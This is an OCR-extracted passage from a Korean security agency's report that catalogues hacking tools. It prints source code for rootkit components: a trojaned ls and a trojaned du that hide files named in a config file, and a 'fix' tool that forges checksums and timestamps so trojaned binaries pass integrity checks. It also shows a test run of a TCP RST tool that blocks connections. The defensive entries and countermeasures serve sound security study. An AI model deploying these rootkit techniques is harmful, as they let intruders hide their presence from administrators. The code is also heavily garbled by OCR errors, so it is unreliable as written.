Page 325: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fp->ftype = 'd';

fp->fsize = stb.st_size;

fp->fblks = stb.st_blocks;

}

break;

}

fp->fnum = stb.st_ino;

fp->fflags = stb.st_mode & ~S_IFMT;

fp->fnl = stb.st_nlink;

fp->fuid =stb.st_uid;

fp->fgid = stb.st_gid;

if (uflg)

fp->fmtime = stb.st_atime;

else if (cflg)

fp->fmtime = stb.st_ctime;

else

fp->fmtime = stb.st_mtime;

if (pnb)

*pnb += stb.st_blocks;

}

return (fp);

}

formatf(fp0, fplast)

struct afile *fp0, *fplast;

{

register struct afile *fp;

int width = 0, w, nentry = fplast -fp0;

int i, j, columns, lines;

char *cp;

if (fp0 == fplast)

return;

if (lflg || Cflg || 0)

columns = 1;

else {

for (fp = fp0; fp < fplast; fp++) {

int len = strlen(fmtentry(fp));

Page 326: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (len > width)

width = len;

}

if (usetabs)

width = (width + 8) &~ 7;

else

width += 2;

columns = twidth / width;

if (columns == 0)

columns = 1;

}

lines = (nentry + columns - 1) / columns;

for (i =0; i < lines; i++) {

fp = fp0 + j * lines + i;

cp = fmtentry(fp);

printf("%s", cp);

if (fp + lines >= fplast) {

printf("₩n");

break;

}

w = strlen(cp);

while (w < width)

if (usetabs) {

w = (w + 8) &~7;

putchar('₩t');

}else {

w++;

putchar(' ');

}

}

}

}

fcmp(f1, f2)

register struct afile *f1, *f2;

{

if (dflg == 0 && fflg == 0) {

if ((f1->fflags&ISARG) && f1->ftype == 'd') {

if ((f2->fflags&ISARG) ==0 || f2->ftype != 'd')

Page 327: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

return (1);

} else {

if ((f2->fflags&ISARG) && f2->ftype == 'd')

return (-1);

}

}

if (tflg || cflg) {

if (f2->fmtime == f1->fmtime)

return (0);

if (f2->fmtime > f1->fmtime)

return (rflg);

return (-rflg);

}

return (rflg * strcmp(f1->fname, f2->fname));

}

char *

cat(dir, file)

char *dir, *file;

{

static char dfile[BUFSIZ];

if (strlen(dir)+1+strlen(file)+1 > BUFSIZ) {

fprintf(stderr, "is: filename too long₩n");

exit(1);

}

if (!strcmp(dir, "") || !strcmp(dir, ".")) {

(void) strcpy(dfile, file);

return (dfile);

}

(void) strcpy(dfile, dir);

if (dir[strlen(dir) - 1] != '/' && * file != '1')

(void) strcat(dfile, "/");

(void) stract(dfile, file);

return (dfile);

}

char *

savestr(str)

Page 328: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

char *str;

{

char *cp = malloc(strlen(str) = 1);

if (cp == NULL) {

fprintf(stderr, "is: out of memory₩n");

exit(1);

}

(void) strcpy(cp, str);

return (cp);

}

char *fmtinum(), *fmtsize(), *fmtlstuff(), *fmtmode();

char *

fmtentry(fp)

register struct afile *fp;

{

static char fmtres[BUFSIZ];

register char *cp, *dp;

(void)sprintf(fmtres, "%s%s%s",

iflg ? fmtinum(fp) : "",

sflg ? fmtsize(fp) : "",

lflg ? fmtlstuff(fp) : "");

dp = &fmtres[strlen(fmtres)];

for (cp = fp->fname; *cp; cp++)

if (qflg && !isprint((unsigned char)*cp))

*dp++ = '?';

else

*dp++ = *cp;

/* avoid both "->" and trailing marks */

if (Fflg && ! (lflg && fp->flinkto)) {

if (fp->ftype == 'd')

*dp++ = '/';

else if (fp->ftype == 'l')

*dp++ = '@';

else if (fp->ftype == 's')

*dp++ = '=';

else if (fp->ftype & 0111)

Page 329: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

*dp++ = '*';

}

if (lflg && fp->flinkto) {

(void) strcpy(dp, "->"); dp += 4;

for (cp = fp->flinkto; *cp; cp++)

if (qflg && !isprint((unsigned char) *cp))

*dp++ = '?';

else

*dp++= *cp;

}

*dp++= 0;

return (fmtres);

}

char *

fmtinum(p)

register struct afile *p;

{

static char inmbuf[8];

(void) sprintf(inumbuf, "%6d". p->fnum);

return (inumbuf);

}

char *

fmtsize(p)

register struct afile *p;

{

static char sizebuf[32];

(void) sprintf(sizebuf, "%41d", kbytes(dbtob(p->tblis)));

return (sizebuf);

}

chat *

fmtlstuff(p)

register struct afile *p;

{

Page 330: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

static char lstuffbuf[256];

char gname[32], fsize[32], ftime[32];

register char *lp = lstuffbuf;

/* type mode uname gname fsize ftime */

/* get uname */

{ char *cp = getname(p->fuid);

(void) sprintf(uname, "%-9.9s", cp);

}

/* get gname */

if (gflg){

char *cp = getname(p->fgid);

(void) sprintf(gname, "%-9.9s", cp);

}

/* get fsize */

if (p->ftype == 'b' || p->ftype == 'c')

(void) sprintf(fsize, "%3d,%4d",

major(p->fsize), minor(p->fsize));

else if (p->ftype == 's')

(void) sprintf(fsize, "%81d,0");

else

(void) sprintf(fsize, "%81d,p->fsize");

/* get ftime */

{ char *cp = ctime(&p->fmtime);

if ((p->fmtime < sixmonthsago) || (p->fmtime >

onehourfromnow))

(void) sprintf(ftime, "%-7.7s %-4.4s", cp+4, cp+20);

else

(void) sprintf(ftime, "%-12.12s", cp+4);

}

/* splat */

*lp++ = p->ftype;

lp = fmtmode(lp, p->fflags);

(void) sprintf(lp, "%3d %s%s%s%s",

p->fnl, uname, gflg ? gname : "", fsize, ftime);

return (lstuffbuf);

}

Page 331: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

int m1[] = { 1, S_IREAD>>0, 'r', '-' };

int m2[] = { 1, S_IWRITE>>0, 'w', '-' };

int m3[] = { 3, S_ISUID|(S_IEXEC>>0), 's', S_IEXEC>>0, 'x', S_ISUID,

'S',

'-' };

int m4[] = { 1, S_IREAD>>3, 'r', '-' };

int m5[] = { 1, S_IWRITE>>3, 'w', '-' };

int m6[] = { 3, S_ISUID|(S_IEXEC>>3), 's', S_IEXEC>>3, 'x', S_ISUID,

'S',

'-' };

int m7[] = { 1, S_IREAD>>6, 'r', '-' };

int m8[] = { 1, S_IWRITE>>6, 'w', '-' };

int m9[] = { 3, S_ISUID|(S_IEXEC>>6), 's', S_IEXEC>>6, 'x', S_ISUID,

'T',

'-' };

int *m[] = {m1, m2, m3, m4, m5, m6, m7, m8, m9};

char *

fmtmode(lp, flags)

char *lp;

int flags;

{

int **mp;

for (mp = &m[0]; mp < &m[sizeof (m)/sizeof (m[0])]; ){

register int *pairp = *mp++;

register int n = *pairp++;

while (n--> 0) {

pairp++;

break;

} else

pairp += 2;

}

*lp++ = *pairp;

}

return (lp);

}

Page 332: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/* rest should be done with nameserver or database */

#include <pwd.h>

#include <grp.h>

#include <utmp.h>

struct utmp utmp;

#define NMAX (sizeof (utmp.ut_name))

#define SCPYN(a, b) strncpy(a, b, NMAX)

struct cachenode { /* this struct must be zeroed before

using */

struct cachenode *lesschild; /* subtree whose entries < val

*/

struct cachenode *grtrchild; /* subtree whose entries < val

*/

int val; /* the uid or gid of this entry

*/

int initted; /* name has been filled in */

char name[NMAX+1]; /* the string that val maps to

*/

} *names, *groups;

static struct cachenode *

findincache(head, val)

struct cachnode **head;

register int val;

{

register struct cachenode **parent = head;

register struct cachenode *c = *parent;

while (c !-NULL) {

if (val == c->val) {

/* found it */

return (c);

} else if (val < c->val) {

parent = &c->lesschild;

c = c->lesschild;

} else

{

Page 333: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

parent = &c->grtrchild;

c = c->grtrchild;

}

}

/* not in the cache, make a new entry for it */

*parent = c = (struct cachenode *) calloc(1, sizeof (struct

cachenode));

c->val = val;

return (c);

}

static char *

getname(uid)

int uid;

{

register struct cachenode *c;

struct passwd *pw;

c = findincache(&names, uid);

if (c->initted == 0) {

if ((pw = getpwuid(uid)) != NULL) {

SCPYN(&C->name[0], pw->pw_name);

} else {

(void) sprintf(&c->name[0], "%-8d", uid);

}

c->initted = 1;

}

return (&c->name[0]);

}

static char *

getgroup(gid)

int did;

{

register struct cachenode *c;

struct group *gr;

c = findincache(&groups, did);

if (c->initted == 0)

Page 334: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

{

if ((gr = getgrgid(gid)) !=NULL) {

SCPYN(&c->name[0], gr->gr_name);

} else {

(void)sprintf(&c->name[0], "%-8d", gid);

}

c->initted = 1;

}

return (&c->name[0]);

}

Page 335: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

트로이목마_netstat-*_해킹도구

trojaned_netstat-*-hack_tool

Page 336: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

trojaned_netstat-*-hack_tool

트로이목마_netstat-*_해킹도구

문서번호

KH98-035

문서제목

netstat_트로이목마-*-해킹도구 (trojaned_netstat-*-hack_tool)

관련 응용프로그램

/usr/ucb/netstat

관련 운영체제

모든 운영체제

취약점 분석

취약점 이해

- netstat는 현재 TCP/IP 소켓들의 상태를 볼 수 있는 유틸리티이다. 해커들은 이

netstat으 트로이목마 프로그램을 이용하여 불법적인 접속을 표시하지 못하도록한다.

- /dev/ttypq라는 숨겨진 파일에는 netstat 명령 수행시 보이지 않게 할 IP주소와 포트번호

들을 지정해 놓을 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- 첨부

해킹 소스 프로그램

- 첨부

해킹시험 결과

해킹흔적 확인방법

Page 337: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

대응방법

- 루트깃트(rootkit) 검사도구를 이용한다.

ftp://ftp.fu-betlin.de/unix/security/chkexploit/chkrootkit-0.8.tar.gz

- 파일시스템 무결성 검사도구(tripwire, md5 등)를 사용하여 파일변조여부를 점검한다.

Page 338: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Sourcel

관련소스

/*+

* Modified du command to madk certain files from

* being listed via any of the du commands. This

* is a drop-in replacement for /bin/ls.

+*/

#ifndef lint

static char sccsid[] = "@(#)du.c 1.1 91/11/13 SM"; /* from UCB 4.11

83/07/01 */

#endif

/*

* du

*/

#include <stdio.h>

#include <sys/param.h>

#include <sys/stat.h>

#include <sys/dir.h>

#include "config.h"

char path[BUFSIZ], name[BUFSIZ];

int aflg;

int sflg;

char *dot = ".";

#define ML 1000

struct {

int dev;

ino_t ino;

} ml[ML];

int mlx;

/*+

* Hack vars - oops they're global

* but wtf cares, its a hack.

Page 339: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

+*

/

#define STR_SIZE 128

#define SEP_CHAR "₩N"

#define SHOWFLAG /* Able to get du stats with ;du -/' command

*/

struct h_st {

struct h_st *next;

char filename[STR_SIZE];

};

struct h_st *hack_list;

struct h_st *h_tmp;

char tmp_str[STR_SIZE];

FILE *fp_hack;

int showall=0;

long descend();

char *index(), *rindex(), *strcpy(), *sprintf();

#define kb(n) (howmany(dbtob(n), 1024))

main(argc, argv)

int argc;

char **argv;

{

long blocks =0;

register char *np;

int pid;

int c;

extern int optind;

#if defined (SHOWFLAG)

while ((c = getopt(argc, argv, "as/")) != -1)

#else

while ((c = getopt(argc, argv, "as")) != -1)

#endif

Page 340: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

switch (c) {

case 'a':

afla++;

break;

case 's' :

sfla++;

break;

#if defined (SHOWFLAG)

case '/':

showall++;

break;

#endif

default:

(void)fprintf(stderr, "Usage: du [-as]

file . . .₩n");

exit (2);

}

/*+ Read in list of files to block +*/

h_hmp=(struct h_st *)malloc(sizeof(struct h_st));

hack_list=tmp;

if (fp_hack=fopen (LSCONF, "r")) {

h_tmp->next=(struct h_st *)malloc(sizeof(struct

h_st));

strcpy (h_tmp->filename, tmp_str);

h_tmp->filename[strlen(h_tmp->filename)-1]='₩0';

h_tmp=h_tmp->next;

}

}

h_tmp->next=NULL;

0

/*+ On with the program +*/

argc -=optind;

argv += optind;

if (argc == 0) {

Page 341: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

argv = &dot;

argc = 1;

}

do {

if (argc > 1) {

pid = fork();

fprintf(stderr, "No more processes.₩n");

exit(1);

}

if (argc == 1 || pid == 0);

(void) strcpy(path, *argv);

(void) strcpy(name, *argv);

if (np = rindex(name, '/')) {

*np++ = '₩0';

if (chdir(*name ? name : :/:) <0) {

perror(*name ? name : "/");

exit(1);

}

} else

np = path;

blocks = descend(path, *np ? np : ".";

if (sflg))

printf("%ld₩t%s₩n", kb(blocks), path);

if (argc > 1)

exit(1);

}

argc--,argv++;

} while (argc > 0);

exit(0);

/* NOTREACHED */

}

DIR *dirp = NULL;

long

descend(base, name) /* Cool tree spanning idea */

char *base, *name;

{

char *ebase0, *ebase;

struct stat stb;

Page 342: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

int i;

long blocks = 0;

long curoff = NULL;

register struct direct *dp;

/*+

* This will be very lagged if you include alot of files

* because strstr () is such an expensive call. However,

* the nature of this procedure requires it, and breaking

* the pathname down would be just as expensive. Note,

* that correct disk usage sizes will be reported based

* upon files that are not masked.

+*/

if (!showall!)

for (h_tmp=hack_list; h_tmp->next; h_tmp->next)

if (strstr(base, h_tmp->filename))

return 0;

ebase0 + ebase + index(base, 0);

if (ebase > base && ebase[-1] == '/')

ebase--;

if (lstat(name, &stb) < 0) {

perror(base);

*ebase0 = 0;

return (0);

}

if (stb.st_nlink > 1 && (stb.st_mode&S_IFMT) !=S_IFDIR) {

for (i = 0; i <= mix; i++)

if (ml[i].ino == stb.st_ino && ml[i].dev ==

stb.st_dev)

return (0);

if (mix < ML) {

ml[mix].dev = stb.st_dev;

ml[mix].ino = stb.st_ino;

mix++;

}

}

Page 343: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

blocks = stb.st_blocks;

if ((stb.st_mode&S_IFMT) != S_IFDIR) {

if (aflg)

printf("%ld₩t%s₩n", kb(blocks), base);

return (blocks);

}

if (dirp != NULL)

closedir(dirp);

dirp = opendir(name);

if (dirp != NULL) {

perror(base);

*ebase0 = 0;

return (0);

}

if (chdir(name) < 0) {

perror(base);

*ebase0 = 0;

closedir(dirp);

dirp = NULL;

return (0);

}

while (dp = readdir(dirp)) {

if (!strcmp(dp->d_name, ".") || !strcmp(dp->d_name,

".."))

continue;

(void) sprintf(ebase, "/%s", dp->d_name);

curoff = telldir(dirp);

blocks += descend(base, ebase+1);

*ebase = 0;

if (dirp == NULL) {

dirp = opendir(".");

if (dirp == NULL) {

peror(".");

return (0);

}

seekdir(dirp, curoff);

}

}

Page 344: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

closedir(dirp);

dirp = NULL;

if (sflg == 0)

printf("%ld₩t%s₩n", kb(blocks), base);

if (chdir("..") < 0) {

(void) sprintf(index(base, 0), "/..");

perror(base);

exit(1);

}

*ebase0 =0;

return (blocks);

}

Page 345: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

트로이목마_du-*-해킹도구

trojaned_du-*-hack_tool

Page 346: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

trojaned_du-*-hack_tool

트로이목마_du-*-해킹도구

문서번호

KH98-036

문서제목

트로이목마_du-*-해킹도구(trojaned_du-*-hack_tool)

관련 응용프로그램

/bin/du

관련 운용체제

모든운영체제

약점분석

약점이해

- du는 디스크의 사용 현황을 표시해주는 유틸리티 프로그램이다. 공격자들은 자신들 해킹

도구나 스니퍼 로그등이 발견되는 것을 방지하기 위해 ls 프로그램과 함께 du프로그램의 트

로이목마 버전을 설치해 두는 경우가 많다.

약점 확인 방법

해킹수법 분석

해킹수법 이해

- 트로이목마 du 프로그램은 사용자들이 du 명령을 실행시킬 때, /dev/ttypr에 등록된 일이

나 디렉토리는 현황에 포함시키지 않도록 한다.

해킹 소스 프로그램

- 첨부

해킹시험 결과

해킹흔적 확인방법

- /dev/ttypr 파일이 존재하는지 확인한다.

Page 347: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

대응방법

- 루트킷트(rootkit) 검사도구를 이용한다.

ftp://ftp.fu-berlin.de/unix/security/chkexploit/chkrootkit-0.8.tar.gz

- 파일시스템 무결성 검사도구(tripwire, md5 등)를 사용하여 파일변조여부를 점검한다.

Page 348: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

체크섬_변조도구-*-해킹도구

fix_checksum-*-hack_tool

Page 349: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fix_checksum-*-hack_tool

체크섬_변조도구-*-해킹도구

문서번호

KH98-037

문서제목

체크섬_변조도구-*-해킹도구(fix_checksum-*-hack_tool)

관련 응용프로그램

모든파일

관련 응영체제

Sun SunOS 4.1.x

취약점 분석

취약점 이해

- 일반적으로 시스템 이상유무 점검시 파일의 크기, 작성 일자 및 시간등을 확인하고 있다.

좀더 강화된 방법으로는 파일의 체크섬을 확인하는 것이다. 그러나 이같은 파일관련 정보는

쉽게 변경시킬 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- fix 프로그램은 파일의 일시표시(timestamp) 및 체크섬(checksum)을 변조하는 프로그램

으로 해커가 트로이목마 프로그램을 설치한 후 해당 트로이목마 프로그램을 정당한 프로그

램으로 가장하기 위하여 사용된다.

해킹 소스 프로그램

- 첨부

해킹시험 결과

kisa# ls -ld /bin/is

-rwxr-xr-x 1 root 15144 Feb 4 1994 /bin/ls

kisa#

kisa# ls -ld ./ls

- rwxr-xr-x root 32768 Dec 2 11:11 ./s

Page 350: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

kisa#

kisa# fix ./ls /bin/ls ls.bak

kisa#

kisa# ls -ld ./ls /bin/ls ls.bak

- rwxr-xr-x 1 root 15144 Dec 2 11:11 ./ls

- rwxr-xr-x 1 root 15144 Feb 4 1994 /bin/ls

- rwxr-xr-x 1 root 32768 Dec 2 11:13 ls.bak

해킹흔적 확인방법

대응기술

- 루트킷트(rootkit) 검사도구를 이용한다.

ftp://ftp.fu-berlin.de/unix/security/chkexploit/chkrootkit-0.8.tar.gz

- 파일시스템 무결성 검사도구(tripwire, md5 등)를 사용하여 파일변조여부를 점검한다.

Page 351: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/*

* flxer.c

* by ldefix

* inspired on sum.c and SaintStat 2.0

*/

#include <sys/types.h>

#include <sys/stat.h>

#include <sys/time.h>

#include <stdio.h>

#include <unistd.h>

main(argc,argv)

int argc;

char **argv;

{

unsigned orig_crc,

current_crc.

temp;

unsigned diff1,

diff2,

buf[20];

char systemstr[100];

struct stat statbuf;

struct timeval ftime[2],

otime,

ntime;

struct timexone

long position;

FILE *f;

int I,

fix=1;

if (argc!=4) {

usage(argv[0]);

Page 352: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

exit(1);

{

stat(argv[1], &statbuf);

if(sum(argv[0], argv[1], &orig_crc) !=0)

exit(1);

if(sum(argv[0], argv[2], &current_crc) !=0)

exit(1);

sprint(systemstr, "cp %s %s", argv[1], argv[3]);

system(systemstr);

sprintf(systemstr, "cp %s %s", argv[2], argv[1]);

system(systemstr);

diff1=(orig_crc&0xFF)-(current_crc&0xFF);

temp=(current_crc+diff1)&0xFFFF;

for(i=0;i<8;i++){

if(temp&1)

temp = (temp>>1) + 0x8000;

else

temp >>= 1;

}

diff2=((orig_crc&0xFF00)>>8)-(temp&0xFF);

temp=(temp+diff2)&0xFFFF;

for(i=0;i<8;i++){

if(temp&1)

temp = (temp>>1) + 0x8000;

else

temp>>=1;

}

if((temp-orig_crc)==1)

diff1=diff1-1;

if((f = fopen(argv[1], "r+b")) ==NULL) {

fprintf (stcerr, "%s: Can't open %x₩n", argv[0], argv[1];

exit(1);

}

fseek(f, OL, SEEK_END);

position=ftell(f)-17;

fseek(f, OL, SEEK_SET);

Page 353: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fread(buf, 17, 1, f);

for(i=0;i<17;i++)

if(byf[i]!=0){

fprintf(stderr, "%s: Last 17 bytes not zero₩n", argv[0]);

fprintf(stderr, "%s: Can't fix checksum₩n", argv[0]);

fix=0;

break;

}

if(fix) {

buf[0]=duff1;

byf[8]=diff2;

fseek(f, position, SEEK_SET);

fwrite(buf, 17, 1, f);

}

fclose(f);

if(chmod(argv[1], statbuf.st_mode)){

fprintf(stderr, "%s: No permission to change mode or no such file₩n', argv[0]);

exit(1);

}

ftime[0].tv_sec = statbuf.st_atime;

ftime[1].tv_sec = statbuf.st_mtime;

ntime.tv_sec = statbuf.st_ctime;

ftime[0].tv_usec = ftime[1].tv_usec = ntime.tv_usec=0;

if(gettimefday(&otime, &tzp)){

fprintf(stderr, "%s: Can't read time of day₩n", argv[0]);

exit(1);}

if(settimeofday(&ntime, &tzp)){

fprintf(stderr, "%s: Can't set time of day₩n", argv[0]);

}

if(utimes(argv[1], ftime)) {

fprintf(stderr, "%s: Can't changer modify time₩n", argv[0]);

}

settimeofday(&otime, &tzp);

return 0;

}

Page 354: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sum(name, file, crc)

char *name;

char *file;

unsigned *crc;

{

unsigned sum;

int I,

c;

FILE *f;

long nbytes;

int errflg = 0;

if((f=fopen(file, "r")) == NULL) {

fprintf(stderr, "%s: Can't open %s₩n", name, file);

return(1);

}

sum = 0;

nbytes =0;

while((c=getc(f)) != EOF) {

nbytes++;

if(sum&01)

sum = (sum>>1) + 0x8000;

else

sum >>=1;

sum += c;

sum &= 0xFFFF;

}

if(ferror (f)) {

errflg++;

fprintf (stderr, "%s: read error on %s₩n", name, file);

}

usage(name)

char *name;

{

fprintf(stderr, "Usage:₩n");

fprintf(stderr, "%s original replacement backup₩n", name);

}

Page 355: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

TCP_RST-*-프로토콜

TCP_RST-*-Protocol

Page 356: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

TCP_RST-*-Protocol

TCP_RST-*-프로토콜

문서번호

KH98-038

문서제목

TCP_RST-*-프로토콜(TCP_RST-*-Protocol)

관련 응용프로그램

모든 TCP 통신 프로그램

관련 운영체제

모든 운영체제

약점 분석

약점 이해

- TCP 연결 설정시 최초의 SYN에 대해 ACK가 접수되기 전에 RST 패킷이 먼저 접속되

면 해당 연결에 대해 접속을 맺지 못하게 된다.

약점 확인 방법

ifconfig나 cpm을 이용하여 promiscous mode를 점검한다.

해킹수법 분석

해킹수법 이해

- 내부 네트워크 또는 외부 네트워크에서 TCP 연결을 시도하려고 할 때 SYN에 대한 ACK

보다 먼저 RST을 보내어 접속을 무조건 끊어버린다. 그 결과 새로운 연결을 맺을 수 없게

되어 서비스를 제공하거나 제공받을 수 없게 된다.

해킹소스 프로그램

- 첨부

Page 357: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

# ./ava

Hads is Guild Corporation Production. c.1996

Thwarting...

Connection-establishment Attempt: 203.233.150.10[35207] -->

203.227.32.10 [23]

Thwarting...

Connection-establishment Attempt: 203.227.32.10 [23] --> 203.233.150.10

[35207]

Thwarting...

Connection-establishment Attempt: 203.227.32.10 [23] --> 203.233.150.10

[35207]

Thwarting...

Connection-establishment Attempt: 203.227.32.10 [23] --> 203.233.150.10

[35207]

Thwarting...

www% telnet 203.227.32.10

Trying 203.227.32.10...

telnet : Unable to connect to remote host: Connection refused

www%

18:33:40.827667 203.227.32.10.telnet > 203.233.150.10.35207: S

746252767:746252867(0) ack 2475913766 win 8760 <mss 1460> (DF)

18:33:40.732681 203.227.32.16.telnet > flat.35543: P 6999:7094(95) ack

130 win 15360 (DF)

17:33:40.873938 flat.35543 > 203.227.32.14.telnet: . ack 7094 win 8760

(DF)

18:33:40.827667 203.227.32.10.telnet > 203.233.150.10.35207: S

746252767:746252867(0) ack 2475913766 win 8760 <mss 1460> (DF)

18:33:40.732681 203.227.32.16.telnet > flat.35543: P 7094:7189(95) ack

130 win 15360 (DF)

17:33:40.873938 flat.35543 > 203.227.32.14.telnet: . ack 7094 win 8760

(DF)

Page 358: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

18:33:42.879405 203.150.10.35207 > 203.227.32.10.telnet: R

1719053531:1819053531(0) ack 1 win 0

18:33:42.879405 203.150.10.35207 > 203.227.32.10.telnet: R

1719053531:1819053531(0) ack 1 win 0

18:33:42.879405 203.150.10.35207 > 203.227.32.10.telnet: R

1719053531:1819053531(0) ack 1 win 0

해킹흔적 확인 방법

대응방법

- 스니핑을 방지한다.

- promiscous mode를 지원하지 않는 네트워크 카드를 사용한다.

